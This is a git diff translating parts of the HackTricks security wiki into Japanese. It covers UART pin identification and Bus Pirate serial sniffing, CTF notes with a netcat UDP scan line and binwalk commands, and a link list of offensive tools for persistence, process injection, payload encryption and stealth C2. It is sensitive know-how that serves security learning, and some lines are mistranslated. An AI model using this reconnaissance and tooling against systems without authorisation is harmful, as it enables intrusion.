Identifying UART Ports +## UARTポートの特定 -UART has 4 ports: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage), and **GND**(Ground). You might be able to find 4 ports with the **`TX`** and **`RX`** letters **written** in the PCB. But if there is no indication, you might need to try to find them yourself using a **multimeter** or a **logic analyzer**. +UARTには**TX**(送信)、**RX**(受信)、**Vcc**(電圧)、および**GND**(グラウンド)の4つのポートがあります。PCBに**`TX`**と**`RX`**の文字が**書かれている**ポートを見つけることができるかもしれません。ただし、表示がない場合は、**マルチメータ**または**ロジックアナライザ**を使用して自分で見つける必要があるかもしれません。 -With a **multimeter** and the device powered off: +マルチメータとデバイスの電源を切った状態で: -* To identify the **GND** pin use the **Continuity Test** mode, place the back lead into ground and test with the red one until you hear a sound from the multimeter. Several GND pins can be found the PCB, so you might have found or not the one belonging to UART. -* To identify the **VCC port**, set the **DC voltage mode** and set it up to 20 V of voltage. Black probe on ground and red probe on the pin. Power on the device. If the multimeter measures a constant voltage of either 3.3 V or 5 V, you’ve found the Vcc pin. If you get other voltages, retry with other ports. -* To identify the **TX** **port**, **DC voltage mode** up to 20 V of voltage, black probe on ground, and red probe on the pin, and power on the device. If you find the voltage fluctuates for a few seconds and then stabilizes at the Vcc value, you’ve most likely found the TX port. This is because when powering on, it sends some debug data. -* The **RX port** would be the closest one to the other 3, it has the lowest voltage fluctuation and lowest overall value of all the UART pins. +* **GND**ピンを特定するには、**連続性テスト**モードを使用し、バックリードをグラウンドに置き、赤いリードでテストします。マルチメータから音が聞こえるまで、いくつかのGNDピンを見つけることができますが、UARTに属するピンを見つけることができるかもしれません。 +* **VCCポート**を特定するには、**DC電圧モード**を設定し、電圧を20Vに設定します。黒いプローブをグラウンドに、赤いプローブをピンに接続します。デバイスの電源をオンにします。マルチメータが3.3Vまたは5Vの一定の電圧を測定する場合、Vccピンを見つけました。他の電圧が表示される場合は、他のポートで再試行します。 +* **TXポート**を特定するには、**DC電圧モード**を20Vに設定し、黒いプローブをグラウンドに、赤いプローブをピンに接続し、デバイスの電源をオンにします。電源をオンにすると、一時的に電圧が変動し、その後Vccの値で安定する場合、おそらくTXポートを見つけたと思われます。これは、電源をオンにすると、デバッグデータを送信するためです。 +* **RXポート**は他の3つに最も近いものであり、UARTピンの中で最も電圧変動が少なく、最も低い値です。 -You can confuse the TX and RX ports and nothing would happen, but if you confuses the GND and the VCC port you might fry the circuit. +TXとRXのポートを混同しても何も起こりませんが、GNDとVCCのポートを混同すると回路を破損する可能性があります。 -With a logic analyzer: +ロジックアナライザを使用する場合: -## Identifying the UART Baud Rate +## UARTボーレートの特定 -The easiest way to identify the correct baud rate is to look at the **TX pin’s output and try to read the data**. If the data you receive isn’t readable, switch to the next possible baud rate until the data becomes readable. You can use a USB-to-serial adapter or a multipurpose device like Bus Pirate to do this, paired with a helper script, such as [baudrate.py](https://github.com/devttys0/baudrate/). The most common baud rates are 9600, 38400, 19200, 57600, and 115200. +正しいボーレートを特定する最も簡単な方法は、**TXピンの出力を見てデータを読み取ろうとする**ことです。受け取ったデータが読み取れない場合は、データが読み取れるまで次の可能なボーレートに切り替えます。これにはUSBシリアルアダプタやBus Pirateなどの多目的デバイスと、[baudrate.py](https://github.com/devttys0/baudrate/)などのヘルパースクリプトを使用できます。最も一般的なボーレートは9600、38400、19200、57600、および115200です。 {% hint style="danger" %} -It's important to note that in this protocol you need to connect the TX of one device to the RX of the other! +このプロトコルでは、デバイスのTXを他のデバイスのRXに接続する必要があることに注意してください! {% endhint %} - # Bus Pirate -In this scenario we are going to sniff the UART communication of the Arduino that is sending all the prints of the program to the Serial Monitor. - +このシナリオでは、Arduinoがプログラムのすべての出力をシリアルモニターに送信しているUART通信をスニフィングします。 ```bash # Check the modes UART>m @@ -79,39 +75,39 @@ x. exit(without change) # Select UART (1)>3 Set serial port speed: (bps) - 1. 300 - 2. 1200 - 3. 2400 - 4. 4800 - 5. 9600 - 6. 19200 - 7. 38400 - 8. 57600 - 9. 115200 +1. 300 +2. 1200 +3. 2400 +4. 4800 +5. 9600 +6. 19200 +7. 38400 +8. 57600 +9. 115200 10. BRG raw value # Select the speed the communication is occurring on (you BF all this until you find readable things) # Or you could later use the macro (4) to try to find the speed (1)>5 Data bits and parity: - 1. 8, NONE *default - 2. 8, EVEN - 3. 8, ODD - 4. 9, NONE - - # From now on pulse enter for default +1. 8, NONE *default +2. 8, EVEN +3. 8, ODD +4. 9, NONE + +# From now on pulse enter for default (1)> Stop bits: - 1. 1 *default - 2. 2 +1. 1 *default +2. 2 (1)> Receive polarity: - 1. Idle 1 *default - 2. Idle 0 +1. Idle 1 *default +2. Idle 0 (1)> Select output type: - 1. Open drain (H=Hi-Z, L=GND) - 2. Normal (H=3.3V, L=GND) +1. Open drain (H=Hi-Z, L=GND) +2. Normal (H=3.3V, L=GND) (1)> Clutch disengaged!!! @@ -131,22 +127,18 @@ Escritura inicial completada: AAA Hi Dreg! AAA waiting a few secs to repeat.... ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/todo/misc.md b/todo/misc.md index dfe504848..5b3fd9f70 100644 --- a/todo/misc.md +++ b/todo/misc.md @@ -1,58 +1,49 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-In a ping response TTL:\ +Ping応答のTTL:\ 127 = Windows\ 254 = Cisco\ -Lo demás,algunlinux +その他、いくつかのLinux $1$- md5\ -$2$or $2a$ - Blowfish\ +$2$または$2a$ - Blowfish\ $5$- sha256\ $6$- sha512 -If you do not know what is behind a service, try to make and HTTP GET request. +サービスの背後に何があるかわからない場合は、HTTP GETリクエストを作成してみてください。 -**UDP Scans**\ +**UDPスキャン**\ nc -nv -u -z -w 1 \ 160-16 -An empty UDP packet is sent to a specific port. If the UDP port is open, no reply is sent back from the target machine. If the UDP port is closed, an ICMP port unreachable packet should be sent back from the target machine.\ +空のUDPパケットが特定のポートに送信されます。UDPポートが開いている場合、ターゲットマシンからは応答が送信されません。UDPポートが閉じている場合、ターゲットマシンからはICMPポート到達不能パケットが送信されるはずです。 +UDPポートスキャンはしばしば信頼性が低く、ファイアウォールやルーターがICMPパケットを破棄することがあります。これにより、スキャンにおいて偽陽性が発生し、スキャンされたマシンのすべてのUDPポートが開いていると表示されることがよくあります。 +o ほとんどのポートスキャナはすべての利用可能なポートをスキャンせず、通常はスキャンされる「興味深いポート」の事前設定リストを持っています。 -UDP port scanning is often unreliable, as firewalls and routers may drop ICMP\ - packets. This can lead to false positives in your scan, and you will regularly see\ - UDP port scans showing all UDP ports open on a scanned machine.\ - o Most port scanners do not scan all available ports, and usually have a preset list\ - of “interesting ports” that are scanned. +# CTF - トリック -# CTF - Tricks - -In **Windows** use **Winzip** to search for files.\ +**Windows**では、ファイルを検索するために**Winzip**を使用します。\ **Alternate data Streams**: _dir /r | find ":$DATA"_\ - - ``` binwalk --dd=".*" #Extract everything binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000) ``` - -## Crypto +## 暗号 **featherduster**\ @@ -60,38 +51,36 @@ binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and **Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\ **Base32**(5 —>8) —> A…Z, 2…7\ **Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\ -**Uuencode** --> Start with "_begin \ \_" and weird chars\ -**Xxencoding** --> Start with "_begin \ \_" and B64\ +**Uuencode** --> "_begin \ \_" で始まり、奇妙な文字\ +**Xxencoding** --> "_begin \ \_" で始まり、B64\ \ -**Vigenere** (frequency analysis) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\ -**Scytale** (offset of characters) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher) +**Vigenere** (頻度分析) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\ +**Scytale** (文字のオフセット) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher) **25x25 = QR** factordb.com\ rsatool -Snow --> Hide messages using spaces and tabs +Snow --> スペースとタブを使用してメッセージを隠す -# Characters +# 文字 -%E2%80%AE => RTL Character (writes payloads backwards) +%E2%80%AE => RTL文字 (ペイロードを逆に書く)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/todo/more-tools.md b/todo/more-tools.md index d9bc0f1d9..f28d7766f 100644 --- a/todo/more-tools.md +++ b/todo/more-tools.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
@@ -22,7 +20,7 @@ * [https://github.com/yarox24/attack\_monitor](https://github.com/yarox24/attack\_monitor) * [https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/](https://capsule8.com/blog/dont-get-kicked-out-a-tale-of-rootkits-and-other-backdoors/) * [https://github.com/ION28/BLUESPAWN](https://github.com/ION28/BLUESPAWN) -* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : Check disclosed accounts +* [https://github.com/PaperMtn/lil-pwny](https://github.com/PaperMtn/lil-pwny) : リークされたアカウントをチェック * [https://github.com/rabobank-cdc/DeTTECT](https://github.com/rabobank-cdc/DeTTECT) # OSINT @@ -44,7 +42,7 @@ * [https://builtwith.com/](https://builtwith.com) * [https://www.spiderfoot.net/](https://www.spiderfoot.net) * [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) -* [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8 Subdomain finder tools, sublist3r, amass and more +* [https://www.nmmapper.com/sys/tools/subdomainfinder/](https://www.nmmapper.com/sys/tools/subdomainfinder/) : 8つのサブドメイン検索ツール、sublist3r、amassなど # **WEB** @@ -53,100 +51,98 @@ * [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear) * [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/) * [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish) -* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Brute force domain names asynchronously -* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Subdomain bruteforce -* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Check if web servers in a domain are accessible -* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Subdomain discovery -* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : Subdomain discovery in github -* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : Fast port scanning -* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : Subdomains and URLs from JS files in a web -* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Web files dictionary -* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : BurpExtension to avoid dozens repeater tabs -* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : Obtain assets -* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks -* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Web BugBounty checklist -* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Check a list of domain against Open Redirection -* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burp plugin, offline analysis to discover domains, subdomains and IPs -* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): List of different tools -* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : BurpSuite Plugingto find vulns (SQLi, XSS, SSTI) -* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Chrome extension for tracking post-messages functions -* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : Automatic authentication tests (remove cookies and try to send the request) -* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCross is a Reconstruction, Scanner, and a tool for penetration / BugBounty testing. This tool was built to test (XSS|SSRF|CORS|SSTI|IDOR|RCE|LFI|SQLI) vulnerabilities +* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : ドメイン名を非同期でブルートフォース攻撃 +* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : サブドメインのブルートフォース攻撃 +* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): ドメイン内のWebサーバーがアクセス可能かどうかをチェック +* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : サブドメインの発見 +* [https://github.com/gwen001/github-search/blob/master/github-subdomains.py](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) : GitHubでのサブドメインの発見 +* [https://github.com/robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) : 高速ポートスキャン +* [https://github.com/Threezh1/JSFinder](https://github.com/Threezh1/JSFinder) : WebのJSファイルからサブドメインとURLを取得 +* [https://github.com/C1h2e1/MyFuzzingDict](https://github.com/C1h2e1/MyFuzzingDict) : Webファイルの辞書 +* [https://github.com/TypeError/Bookmarks/blob/master/README.md](https://github.com/TypeError/Bookmarks/blob/master/README.md) : ドーズンのリピータータブを避けるためのBurp拡張機能 +* [https://github.com/hakluke/hakrawler](https://github.com/hakluke/hakrawler) : アセットの取得 +* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Googleドークス +* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Web BugBountyチェックリスト +* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : ドメインのリストをオープンリダイレクトに対してチェック +* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Burpプラグイン、オフライン解析によるドメイン、サブドメイン、IPの発見 +* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): 異なるツールのリスト +* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : 脆弱性(SQLi、XSS、SSTI)を見つけるためのBurpSuiteプラグイン +* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : post-messages関数を追跡するためのChrome拡張機能 +* [https://github.com/Quitten/Autorize](https://github.com/Quitten/Autorize) : 自動認証テスト(クッキーを削除してリクエストを送信しようとする) +* [https://github.com/pikpikcu/xrcross](https://github.com/pikpikcu/xrcross): XRCrossは、再構築、スキャナー、および侵入/ BugBountyテストツールです。このツールは、(XSS | SSRF | CORS | SSTI | IDOR | RCE | LFI | SQLI)の脆弱性をテストするために作成されました # Windows -* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : Lateral movements +* [https://github.com/Mr-Un1k0d3r/PoisonHandler](https://github.com/Mr-Un1k0d3r/PoisonHandler) : レイテラルムーブメント * [https://freddiebarrsmith.com/trix/trix.html](https://freddiebarrsmith.com/trix/trix.html) : LOL bins -* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): Persistence -* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windows Process Injection techniques -* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Red Team scripts -* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : find security-related misconfigurations in Active Directory Group Policy. -* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestring obfuscation -* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Parent PID Spoofing -* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Encrypt Powershell payloads -* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2 -* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Series of logs about Windows Internals -* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Track who open a document -* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory Cheat Sheet +* [https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79](https://gist.github.com/netbiosX/ee35fcd3722e401a38136cff7b751d79) ([https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)): 永続性 +* [https://github.com/odzhan/injection](https://github.com/odzhan/injection) : Windowsプロセスインジェクション技術 +* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : レッドチームスクリプト +* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : Active Directoryグループポリシーのセキュリティ関連の設定ミスを見つける。 +* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Securestringの難読化 +* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : 親PIDスプーフィング +* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Powershellペイロードの暗号化 +* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : ステルスC2 +* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Windows Internalsに関する一連のログ +* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : ドキュメントを開いた人を追跡する +* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directoryチートシート # Firmware -Tools q veo q pueden molar para analizar firmares (automaticas): +自動的にファームウェアを分析するための興味深いツール: * [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker) * [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core) * [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go) -Post-crema: +クリームの後: * [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html) * [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html) -Como extraer firmware si no lo encontramos online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4) +オンラインでファームウェアを見つけられない場合のファームウェアの抽出方法:[https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4) -Aqui un firware con vulnerabilidades para analizar: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat) +分析するための脆弱性を持つファームウェア:[https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat) -y por aqui la metodologia owasp para analizar firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) +およびファームウェアを分析するためのOWASPメソドロジー:[https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm) -Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a platform for automating the emulation and dynamic analysis of Linux-based firmware. +ファームウェアエミュレーション:FIRMADYNE(https://github.com/firmadyne/firmadyne/)は、Linuxベースのファームウェアのエミュレーションと動的解析を自動化するためのプラットフォームです。 -# OTHER +# その他 * [https://twitter.com/HackAndDo/status/1202695084543791117](https://twitter.com/HackAndDo/status/1202695084543791117) * [https://github.com/weev3/LKWA](https://github.com/weev3/LKWA) * [https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/](https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/) * [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw) -* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : Static code analysis +* 